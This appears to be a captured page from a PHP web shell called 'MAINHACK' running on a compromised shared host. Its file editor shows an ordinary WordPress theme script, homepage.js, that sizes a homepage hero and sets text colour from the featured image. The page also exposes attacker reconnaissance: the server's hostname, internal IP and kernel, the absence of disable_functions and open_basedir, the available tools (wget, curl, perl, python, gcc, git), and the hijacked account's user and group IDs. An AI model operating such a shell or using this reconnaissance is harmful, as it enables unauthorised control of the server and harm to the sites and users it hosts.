[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: homepage.js
/** * Homepage script * */ ( function() { var homepageContent = '.page-template-tpl-page-homepage .type-page.has-post-thumbnail'; if ( ! jQuery( homepageContent ).length ) { // Only apply layout to the homepage content component if it exists on the page return; } /** * Set the hero component dimensions and positioning */ function homepageContentDimensions() { var windowWidth = jQuery( window ).width(); var offset = jQuery( '.site-main' ).offset(); // Make the homepage content full width and centrally aligned. jQuery( homepageContent ).css( 'width', windowWidth ).css( 'margin-left', -offset.left ); } /** * On document ready * Set hero content dimensions / layout * Run adaptive backgrounds and set colors */ jQuery( document ).ready( function() { homepageContentDimensions(); var img = jQuery( '.page-template-tpl-page-homepage .type-page.has-post-thumbnail' ).data( 'featured-image' ); img = img.replace( 'url(', '' ).replace( ')', '' ).replace( /\"/gi, '' ); var RGBaster = window.RGBaster; RGBaster.colors( img, { paletteSize: 1, success: function( payload ) { var rgb = payload.dominant; var colors = rgb.match( /^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/ ); // Get the average rgb value. var overall = Math.round( ( ( parseInt( colors[1], 10 ) * 299 ) + ( parseInt( colors[2], 10 ) * 587 ) + ( parseInt( colors[3], 10 ) * 114 ) ) /1000 ); var r = colors[1]; var g = colors[2]; var b = colors[3]; var brightness = 1; if ( overall > 230 ) { brightness = 0; // Black. } else { brightness = 30; // White. } var newr = Math.floor( ( 255 - r ) * brightness ); var newg = Math.floor( ( 255 - g ) * brightness ); var newb = Math.floor( ( 255 - b ) * brightness ); jQuery( homepageContent + ', .page-template-tpl-page-homepage .type-page.has-post-thumbnail h1' ).css( 'color', 'rgb(' + newr + ', ' + newg + ', ' + newb + ')' ); jQuery( '.page-template-tpl-page-homepage .type-page.has-post-thumbnail .entry-title, .page-template-tpl-page-homepage .type-page.has-post-thumbnail .entry-content' ).addClass( 'loaded' ); if ( brightness >= 30 ) { jQuery( '.page-template-tpl-page-homepage .type-page.has-post-thumbnail .entry-title, .page-template-tpl-page-homepage .type-page.has-post-thumbnail .entry-content' ).css( 'text-shadow', '0 4px 30px rgba(0,0,0,.9)' ); } } }); }); /** * On window resize * Set hero content dimensions / layout */ jQuery( window ).resize( function() { homepageContentDimensions(); }); } )();;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619